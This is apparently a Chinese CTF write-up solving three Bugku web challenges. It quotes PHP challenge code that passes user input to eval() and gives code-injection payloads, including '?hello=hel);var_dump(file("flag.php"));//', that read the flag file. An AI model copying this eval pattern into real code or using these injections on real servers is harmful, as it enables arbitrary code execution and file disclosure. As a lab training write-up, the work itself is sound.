bugku web题解
19.10.19
1.变量1
http://123.206.87.240:8004/index1.php
flag In the variable ! <?php
error_reporting(0);
include "flag1.php";
highlight_file(__file__);
if(isset($_GET['args'])){
$args = $_GET['args'];
if(!preg_match("/^\w+$/",$args)){
die("args error!");
}
eval("var_dump($$args);");
}
?>
需要用get,并且args中不能包含特殊符号,即只能有大小写字母和数字
其次2个$符号,理解就是,比如我输入?args=abc那么 $args=abc,然后$$args=$abc,随后找变量名为abc的值。这是我自己尝试代码试出来的。可能有错误。
题目漏洞有两个,一个是eval()函数,括号内的代码是会被当成php代码来执行,
另一个是超全局变量$GLOBALS
所以最后输入?args=GLOBALS后能得出flag
2.本地包含
<?php
include "flag.php";
$a = @$_REQUEST['hello'];
eval( "var_dump($a);");
show_source(__FILE__);
?>
eval漏洞和file()函数
输入?hello=file("flag.php")即可
也可以?hello=hel);var_dump(file("flag.php"));//
eval函数括号内的代码每个都必须要有分号。
3.头等舱
http://123.206.87.240:9009/hd.php
看题名让我想起了请求头,,,
然后到bp中试了下,,然后就出来了,,